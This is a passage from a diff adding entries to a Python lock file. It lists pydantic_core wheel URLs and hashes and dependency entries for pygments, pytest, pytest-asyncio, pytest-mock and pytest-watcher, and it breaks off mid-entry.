"https://files.pythonhosted.org/packages/86/45/00173a033c801cacf67c190fef088789394feaf88a98a7035b0e40d53dc9/pydantic_core-2.41.5-cp312-cp312-win_amd64.whl", hash = "sha256:1962293292865bca8e54702b08a4f26da73adc83dd1fcf26fbc875b35d81c815", size = 2020145, upload-time = "2025-11-04T13:40:21.548Z" }, + { url = "https://files.pythonhosted.org/packages/f9/22/91fbc821fa6d261b376a3f73809f907cec5ca6025642c463d3488aad22fb/pydantic_core-2.41.5-cp312-cp312-win_arm64.whl", hash = "sha256:1746d4a3d9a794cacae06a5eaaccb4b8643a131d45fbc9af23e353dc0a5ba5c3", size = 1976179, upload-time = "2025-11-04T13:40:23.393Z" }, + { url = "https://files.pythonhosted.org/packages/87/06/8806241ff1f70d9939f9af039c6c35f2360cf16e93c2ca76f184e76b1564/pydantic_core-2.41.5-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9", size = 2120403, upload-time = "2025-11-04T13:40:25.248Z" }, + { url = "https://files.pythonhosted.org/packages/94/02/abfa0e0bda67faa65fef1c84971c7e45928e108fe24333c81f3bfe35d5f5/pydantic_core-2.41.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34", size = 1896206, upload-time = "2025-11-04T13:40:27.099Z" }, + { url = "https://files.pythonhosted.org/packages/15/df/a4c740c0943e93e6500f9eb23f4ca7ec9bf71b19e608ae5b579678c8d02f/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0", size = 1919307, upload-time = "2025-11-04T13:40:29.806Z" }, + { url = "https://files.pythonhosted.org/packages/9a/e3/6324802931ae1d123528988e0e86587c2072ac2e5394b4bc2bc34b61ff6e/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33", size = 2063258, upload-time = "2025-11-04T13:40:33.544Z" }, + { url = "https://files.pythonhosted.org/packages/c9/d4/2230d7151d4957dd79c3044ea26346c148c98fbf0ee6ebd41056f2d62ab5/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e", size = 2214917, upload-time = "2025-11-04T13:40:35.479Z" }, + { url = "https://files.pythonhosted.org/packages/e6/9f/eaac5df17a3672fef0081b6c1bb0b82b33ee89aa5cec0d7b05f52fd4a1fa/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2", size = 2332186, upload-time = "2025-11-04T13:40:37.436Z" }, + { url = "https://files.pythonhosted.org/packages/cf/4e/35a80cae583a37cf15604b44240e45c05e04e86f9cfd766623149297e971/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586", size = 2073164, upload-time = "2025-11-04T13:40:40.289Z" }, + { url = "https://files.pythonhosted.org/packages/bf/e3/f6e262673c6140dd3305d144d032f7bd5f7497d3871c1428521f19f9efa2/pydantic_core-2.41.5-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d", size = 2179146, upload-time = "2025-11-04T13:40:42.809Z" }, + { url = "https://files.pythonhosted.org/packages/75/c7/20bd7fc05f0c6ea2056a4565c6f36f8968c0924f19b7d97bbfea55780e73/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:01a3d0ab748ee531f4ea6c3e48ad9dac84ddba4b0d82291f87248f2f9de8d740", size = 2137788, upload-time = "2025-11-04T13:40:44.752Z" }, + { url = "https://files.pythonhosted.org/packages/3a/8d/34318ef985c45196e004bc46c6eab2eda437e744c124ef0dbe1ff2c9d06b/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e", size = 2340133, upload-time = "2025-11-04T13:40:46.66Z" }, + { url = "https://files.pythonhosted.org/packages/9c/59/013626bf8c78a5a5d9350d12e7697d3d4de951a75565496abd40ccd46bee/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858", size = 2324852, upload-time = "2025-11-04T13:40:48.575Z" }, + { url = "https://files.pythonhosted.org/packages/1a/d9/c248c103856f807ef70c18a4f986693a46a8ffe1602e5d361485da502d20/pydantic_core-2.41.5-cp313-cp313-win32.whl", hash = "sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36", size = 1994679, upload-time = "2025-11-04T13:40:50.619Z" }, + { url = "https://files.pythonhosted.org/packages/9e/8b/341991b158ddab181cff136acd2552c9f35bd30380422a639c0671e99a91/pydantic_core-2.41.5-cp313-cp313-win_amd64.whl", hash = "sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11", size = 2019766, upload-time = "2025-11-04T13:40:52.631Z" }, + { url = "https://files.pythonhosted.org/packages/73/7d/f2f9db34af103bea3e09735bb40b021788a5e834c81eedb541991badf8f5/pydantic_core-2.41.5-cp313-cp313-win_arm64.whl", hash = "sha256:3f84d5c1b4ab906093bdc1ff10484838aca54ef08de4afa9de0f5f14d69639cd", size = 1981005, upload-time = "2025-11-04T13:40:54.734Z" }, + { url = "https://files.pythonhosted.org/packages/ea/28/46b7c5c9635ae96ea0fbb779e271a38129df2550f763937659ee6c5dbc65/pydantic_core-2.41.5-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a", size = 2119622, upload-time = "2025-11-04T13:40:56.68Z" }, + { url = "https://files.pythonhosted.org/packages/74/1a/145646e5687e8d9a1e8d09acb278c8535ebe9e972e1f162ed338a622f193/pydantic_core-2.41.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14", size = 1891725, upload-time = "2025-11-04T13:40:58.807Z" }, + { url = "https://files.pythonhosted.org/packages/23/04/e89c29e267b8060b40dca97bfc64a19b2a3cf99018167ea1677d96368273/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1", size = 1915040, upload-time = "2025-11-04T13:41:00.853Z" }, + { url = "https://files.pythonhosted.org/packages/84/a3/15a82ac7bd97992a82257f777b3583d3e84bdb06ba6858f745daa2ec8a85/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66", size = 2063691, upload-time = "2025-11-04T13:41:03.504Z" }, + { url = "https://files.pythonhosted.org/packages/74/9b/0046701313c6ef08c0c1cf0e028c67c770a4e1275ca73131563c5f2a310a/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869", size = 2213897, upload-time = "2025-11-04T13:41:05.804Z" }, + { url = "https://files.pythonhosted.org/packages/8a/cd/6bac76ecd1b27e75a95ca3a9a559c643b3afcd2dd62086d4b7a32a18b169/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2", size = 2333302, upload-time = "2025-11-04T13:41:07.809Z" }, + { url = "https://files.pythonhosted.org/packages/4c/d2/ef2074dc020dd6e109611a8be4449b98cd25e1b9b8a303c2f0fca2f2bcf7/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375", size = 2064877, upload-time = "2025-11-04T13:41:09.827Z" }, + { url = "https://files.pythonhosted.org/packages/18/66/e9db17a9a763d72f03de903883c057b2592c09509ccfe468187f2a2eef29/pydantic_core-2.41.5-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553", size = 2180680, upload-time = "2025-11-04T13:41:12.379Z" }, + { url = "https://files.pythonhosted.org/packages/d3/9e/3ce66cebb929f3ced22be85d4c2399b8e85b622db77dad36b73c5387f8f8/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:0177272f88ab8312479336e1d777f6b124537d47f2123f89cb37e0accea97f90", size = 2138960, upload-time = "2025-11-04T13:41:14.627Z" }, + { url = "https://files.pythonhosted.org/packages/a6/62/205a998f4327d2079326b01abee48e502ea739d174f0a89295c481a2272e/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07", size = 2339102, upload-time = "2025-11-04T13:41:16.868Z" }, + { url = "https://files.pythonhosted.org/packages/3c/0d/f05e79471e889d74d3d88f5bd20d0ed189ad94c2423d81ff8d0000aab4ff/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb", size = 2326039, upload-time = "2025-11-04T13:41:18.934Z" }, + { url = "https://files.pythonhosted.org/packages/ec/e1/e08a6208bb100da7e0c4b288eed624a703f4d129bde2da475721a80cab32/pydantic_core-2.41.5-cp314-cp314-win32.whl", hash = "sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23", size = 1995126, upload-time = "2025-11-04T13:41:21.418Z" }, + { url = "https://files.pythonhosted.org/packages/48/5d/56ba7b24e9557f99c9237e29f5c09913c81eeb2f3217e40e922353668092/pydantic_core-2.41.5-cp314-cp314-win_amd64.whl", hash = "sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf", size = 2015489, upload-time = "2025-11-04T13:41:24.076Z" }, + { url = "https://files.pythonhosted.org/packages/4e/bb/f7a190991ec9e3e0ba22e4993d8755bbc4a32925c0b5b42775c03e8148f9/pydantic_core-2.41.5-cp314-cp314-win_arm64.whl", hash = "sha256:e672ba74fbc2dc8eea59fb6d4aed6845e6905fc2a8afe93175d94a83ba2a01a0", size = 1977288, upload-time = "2025-11-04T13:41:26.33Z" }, + { url = "https://files.pythonhosted.org/packages/92/ed/77542d0c51538e32e15afe7899d79efce4b81eee631d99850edc2f5e9349/pydantic_core-2.41.5-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:8566def80554c3faa0e65ac30ab0932b9e3a5cd7f8323764303d468e5c37595a", size = 2120255, upload-time = "2025-11-04T13:41:28.569Z" }, + { url = "https://files.pythonhosted.org/packages/bb/3d/6913dde84d5be21e284439676168b28d8bbba5600d838b9dca99de0fad71/pydantic_core-2.41.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b80aa5095cd3109962a298ce14110ae16b8c1aece8b72f9dafe81cf597ad80b3", size = 1863760, upload-time = "2025-11-04T13:41:31.055Z" }, + { url = "https://files.pythonhosted.org/packages/5a/f0/e5e6b99d4191da102f2b0eb9687aaa7f5bea5d9964071a84effc3e40f997/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3006c3dd9ba34b0c094c544c6006cc79e87d8612999f1a5d43b769b89181f23c", size = 1878092, upload-time = "2025-11-04T13:41:33.21Z" }, + { url = "https://files.pythonhosted.org/packages/71/48/36fb760642d568925953bcc8116455513d6e34c4beaa37544118c36aba6d/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:72f6c8b11857a856bcfa48c86f5368439f74453563f951e473514579d44aa612", size = 2053385, upload-time = "2025-11-04T13:41:35.508Z" }, + { url = "https://files.pythonhosted.org/packages/20/25/92dc684dd8eb75a234bc1c764b4210cf2646479d54b47bf46061657292a8/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5cb1b2f9742240e4bb26b652a5aeb840aa4b417c7748b6f8387927bc6e45e40d", size = 2218832, upload-time = "2025-11-04T13:41:37.732Z" }, + { url = "https://files.pythonhosted.org/packages/e2/09/f53e0b05023d3e30357d82eb35835d0f6340ca344720a4599cd663dca599/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bd3d54f38609ff308209bd43acea66061494157703364ae40c951f83ba99a1a9", size = 2327585, upload-time = "2025-11-04T13:41:40Z" }, + { url = "https://files.pythonhosted.org/packages/aa/4e/2ae1aa85d6af35a39b236b1b1641de73f5a6ac4d5a7509f77b814885760c/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2ff4321e56e879ee8d2a879501c8e469414d948f4aba74a2d4593184eb326660", size = 2041078, upload-time = "2025-11-04T13:41:42.323Z" }, + { url = "https://files.pythonhosted.org/packages/cd/13/2e215f17f0ef326fc72afe94776edb77525142c693767fc347ed6288728d/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d0d2568a8c11bf8225044aa94409e21da0cb09dcdafe9ecd10250b2baad531a9", size = 2173914, upload-time = "2025-11-04T13:41:45.221Z" }, + { url = "https://files.pythonhosted.org/packages/02/7a/f999a6dcbcd0e5660bc348a3991c8915ce6599f4f2c6ac22f01d7a10816c/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:a39455728aabd58ceabb03c90e12f71fd30fa69615760a075b9fec596456ccc3", size = 2129560, upload-time = "2025-11-04T13:41:47.474Z" }, + { url = "https://files.pythonhosted.org/packages/3a/b1/6c990ac65e3b4c079a4fb9f5b05f5b013afa0f4ed6780a3dd236d2cbdc64/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:239edca560d05757817c13dc17c50766136d21f7cd0fac50295499ae24f90fdf", size = 2329244, upload-time = "2025-11-04T13:41:49.992Z" }, + { url = "https://files.pythonhosted.org/packages/d9/02/3c562f3a51afd4d88fff8dffb1771b30cfdfd79befd9883ee094f5b6c0d8/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:2a5e06546e19f24c6a96a129142a75cee553cc018ffee48a460059b1185f4470", size = 2331955, upload-time = "2025-11-04T13:41:54.079Z" }, + { url = "https://files.pythonhosted.org/packages/5c/96/5fb7d8c3c17bc8c62fdb031c47d77a1af698f1d7a406b0f79aaa1338f9ad/pydantic_core-2.41.5-cp314-cp314t-win32.whl", hash = "sha256:b4ececa40ac28afa90871c2cc2b9ffd2ff0bf749380fbdf57d165fd23da353aa", size = 1988906, upload-time = "2025-11-04T13:41:56.606Z" }, + { url = "https://files.pythonhosted.org/packages/22/ed/182129d83032702912c2e2d8bbe33c036f342cc735737064668585dac28f/pydantic_core-2.41.5-cp314-cp314t-win_amd64.whl", hash = "sha256:80aa89cad80b32a912a65332f64a4450ed00966111b6615ca6816153d3585a8c", size = 1981607, upload-time = "2025-11-04T13:41:58.889Z" }, + { url = "https://files.pythonhosted.org/packages/9f/ed/068e41660b832bb0b1aa5b58011dea2a3fe0ba7861ff38c4d4904c1c1a99/pydantic_core-2.41.5-cp314-cp314t-win_arm64.whl", hash = "sha256:35b44f37a3199f771c3eaa53051bc8a70cd7b54f333531c59e29fd4db5d15008", size = 1974769, upload-time = "2025-11-04T13:42:01.186Z" }, + { url = "https://files.pythonhosted.org/packages/11/72/90fda5ee3b97e51c494938a4a44c3a35a9c96c19bba12372fb9c634d6f57/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:b96d5f26b05d03cc60f11a7761a5ded1741da411e7fe0909e27a5e6a0cb7b034", size = 2115441, upload-time = "2025-11-04T13:42:39.557Z" }, + { url = "https://files.pythonhosted.org/packages/1f/53/8942f884fa33f50794f119012dc6a1a02ac43a56407adaac20463df8e98f/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c", size = 1930291, upload-time = "2025-11-04T13:42:42.169Z" }, + { url = "https://files.pythonhosted.org/packages/79/c8/ecb9ed9cd942bce09fc888ee960b52654fbdbede4ba6c2d6e0d3b1d8b49c/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2", size = 1948632, upload-time = "2025-11-04T13:42:44.564Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1b/687711069de7efa6af934e74f601e2a4307365e8fdc404703afc453eab26/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad", size = 2138905, upload-time = "2025-11-04T13:42:47.156Z" }, + { url = "https://files.pythonhosted.org/packages/09/32/59b0c7e63e277fa7911c2fc70ccfb45ce4b98991e7ef37110663437005af/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:7da7087d756b19037bc2c06edc6c170eeef3c3bafcb8f532ff17d64dc427adfd", size = 2110495, upload-time = "2025-11-04T13:42:49.689Z" }, + { url = "https://files.pythonhosted.org/packages/aa/81/05e400037eaf55ad400bcd318c05bb345b57e708887f07ddb2d20e3f0e98/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:aabf5777b5c8ca26f7824cb4a120a740c9588ed58df9b2d196ce92fba42ff8dc", size = 1915388, upload-time = "2025-11-04T13:42:52.215Z" }, + { url = "https://files.pythonhosted.org/packages/6e/0d/e3549b2399f71d56476b77dbf3cf8937cec5cd70536bdc0e374a421d0599/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c007fe8a43d43b3969e8469004e9845944f1a80e6acd47c150856bb87f230c56", size = 1942879, upload-time = "2025-11-04T13:42:56.483Z" }, + { url = "https://files.pythonhosted.org/packages/f7/07/34573da085946b6a313d7c42f82f16e8920bfd730665de2d11c0c37a74b5/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b", size = 2139017, upload-time = "2025-11-04T13:42:59.471Z" }, + { url = "https://files.pythonhosted.org/packages/e6/b0/1a2aa41e3b5a4ba11420aba2d091b2d17959c8d1519ece3627c371951e73/pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b5819cd790dbf0c5eb9f82c73c16b39a65dd6dd4d1439dcdea7816ec9adddab8", size = 2103351, upload-time = "2025-11-04T13:43:02.058Z" }, + { url = "https://files.pythonhosted.org/packages/a4/ee/31b1f0020baaf6d091c87900ae05c6aeae101fa4e188e1613c80e4f1ea31/pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:5a4e67afbc95fa5c34cf27d9089bca7fcab4e51e57278d710320a70b956d1b9a", size = 1925363, upload-time = "2025-11-04T13:43:05.159Z" }, + { url = "https://files.pythonhosted.org/packages/e1/89/ab8e86208467e467a80deaca4e434adac37b10a9d134cd2f99b28a01e483/pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ece5c59f0ce7d001e017643d8d24da587ea1f74f6993467d85ae8a5ef9d4f42b", size = 2135615, upload-time = "2025-11-04T13:43:08.116Z" }, + { url = "https://files.pythonhosted.org/packages/99/0a/99a53d06dd0348b2008f2f30884b34719c323f16c3be4e6cc1203b74a91d/pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:16f80f7abe3351f8ea6858914ddc8c77e02578544a0ebc15b4c2e1a0e813b0b2", size = 2175369, upload-time = "2025-11-04T13:43:12.49Z" }, + { url = "https://files.pythonhosted.org/packages/6d/94/30ca3b73c6d485b9bb0bc66e611cff4a7138ff9736b7e66bcf0852151636/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:33cb885e759a705b426baada1fe68cbb0a2e68e34c5d0d0289a364cf01709093", size = 2144218, upload-time = "2025-11-04T13:43:15.431Z" }, + { url = "https://files.pythonhosted.org/packages/87/57/31b4f8e12680b739a91f472b5671294236b82586889ef764b5fbc6669238/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:c8d8b4eb992936023be7dee581270af5c6e0697a8559895f527f5b7105ecd36a", size = 2329951, upload-time = "2025-11-04T13:43:18.062Z" }, + { url = "https://files.pythonhosted.org/packages/7d/73/3c2c8edef77b8f7310e6fb012dbc4b8551386ed575b9eb6fb2506e28a7eb/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:242a206cd0318f95cd21bdacff3fcc3aab23e79bba5cac3db5a841c9ef9c6963", size = 2318428, upload-time = "2025-11-04T13:43:20.679Z" }, + { url = "https://files.pythonhosted.org/packages/2f/02/8559b1f26ee0d502c74f9cca5c0d2fd97e967e083e006bbbb4e97f3a043a/pydantic_core-2.41.5-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:d3a978c4f57a597908b7e697229d996d77a6d3c94901e9edee593adada95ce1a", size = 2147009, upload-time = "2025-11-04T13:43:23.286Z" }, + { url = "https://files.pythonhosted.org/packages/5f/9b/1b3f0e9f9305839d7e84912f9e8bfbd191ed1b1ef48083609f0dabde978c/pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b2379fa7ed44ddecb5bfe4e48577d752db9fc10be00a6b7446e9663ba143de26", size = 2101980, upload-time = "2025-11-04T13:43:25.97Z" }, + { url = "https://files.pythonhosted.org/packages/a4/ed/d71fefcb4263df0da6a85b5d8a7508360f2f2e9b3bf5814be9c8bccdccc1/pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:266fb4cbf5e3cbd0b53669a6d1b039c45e3ce651fd5442eff4d07c2cc8d66808", size = 1923865, upload-time = "2025-11-04T13:43:28.763Z" }, + { url = "https://files.pythonhosted.org/packages/ce/3a/626b38db460d675f873e4444b4bb030453bbe7b4ba55df821d026a0493c4/pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58133647260ea01e4d0500089a8c4f07bd7aa6ce109682b1426394988d8aaacc", size = 2134256, upload-time = "2025-11-04T13:43:31.71Z" }, + { url = "https://files.pythonhosted.org/packages/83/d9/8412d7f06f616bbc053d30cb4e5f76786af3221462ad5eee1f202021eb4e/pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:287dad91cfb551c363dc62899a80e9e14da1f0e2b6ebde82c806612ca2a13ef1", size = 2174762, upload-time = "2025-11-04T13:43:34.744Z" }, + { url = "https://files.pythonhosted.org/packages/55/4c/162d906b8e3ba3a99354e20faa1b49a85206c47de97a639510a0e673f5da/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:03b77d184b9eb40240ae9fd676ca364ce1085f203e1b1256f8ab9984dca80a84", size = 2143141, upload-time = "2025-11-04T13:43:37.701Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f2/f11dd73284122713f5f89fc940f370d035fa8e1e078d446b3313955157fe/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:a668ce24de96165bb239160b3d854943128f4334822900534f2fe947930e5770", size = 2330317, upload-time = "2025-11-04T13:43:40.406Z" }, + { url = "https://files.pythonhosted.org/packages/88/9d/b06ca6acfe4abb296110fb1273a4d848a0bfb2ff65f3ee92127b3244e16b/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:f14f8f046c14563f8eb3f45f499cc658ab8d10072961e07225e507adb700e93f", size = 2316992, upload-time = "2025-11-04T13:43:43.602Z" }, + { url = "https://files.pythonhosted.org/packages/36/c7/cfc8e811f061c841d7990b0201912c3556bfeb99cdcb7ed24adc8d6f8704/pydantic_core-2.41.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:56121965f7a4dc965bff783d70b907ddf3d57f6eba29b6d2e5dabfaf07799c51", size = 2145302, upload-time = "2025-11-04T13:43:46.64Z" }, +] + +[[package]] +name = "pygments" +version = "2.20.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" }, +] + +[[package]] +name = "pytest" +version = "9.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, + { name = "iniconfig" }, + { name = "packaging" }, + { name = "pluggy" }, + { name = "pygments" }, + { name = "tomli", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e4/47/b9efed96c114afcfa3c9d3fe98a76a1d14c74a9e266d397cf6eb64be5e01/pytest-9.1.1.tar.gz", hash = "sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313", size = 1636369, upload-time = "2026-06-19T10:58:32.857Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/24/25/1de2678b631f5a49215c6c96fff41ba892b0a34df68d6d80292b1b48aa7f/pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c", size = 386536, upload-time = "2026-06-19T10:58:31.347Z" }, +] + +[[package]] +name = "pytest-asyncio" +version = "1.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "backports-asyncio-runner", marker = "python_full_version < '3.11'" }, + { name = "pytest" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/43/7c/d36d04db312ecf4298932ef77e6e4a9e8ad017906e24e34f0b0c361a2473/pytest_asyncio-1.4.0.tar.gz", hash = "sha256:c6c0d2259945122819f171a32ecea2c349ead889ee28176caaf492143424be42", size = 58514, upload-time = "2026-05-26T09:56:04.083Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/03/e2/08a497ef684b88559c9cc5f4ad53a37e7b99e727094a86d6ea32536d5d3c/pytest_asyncio-1.4.0-py3-none-any.whl", hash = "sha256:933ca923a23075a87fb7070c0ec272a6848489824d887c85c812670932835aa1", size = 16930, upload-time = "2026-05-26T09:56:02.576Z" }, +] + +[[package]] +name = "pytest-mock" +version = "3.15.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/68/14/eb014d26be205d38ad5ad20d9a80f7d201472e08167f0bb4361e251084a9/pytest_mock-3.15.1.tar.gz", hash = "sha256:1849a238f6f396da19762269de72cb1814ab44416fa73a8686deac10b0d87a0f", size = 34036, upload-time = "2025-09-16T16:37:27.081Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/cc/06253936f4a7fa2e0f48dfe6d851d9c56df896a9ab09ac019d70b760619c/pytest_mock-3.15.1-py3-none-any.whl", hash = "sha256:0a25e2eb88fe5168d535041d09a4529a188176ae608a6d249ee65abc0949630d", size = 10095, upload-time = "2025-09-16T16:37:25.734Z" }, +] + +[[package]] +name = "pytest-watcher" +version = "0.6.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "tomli", marker = "python_full_version < '3.11'" }, + { name = "watchdog" }, +] +sdist = { url = 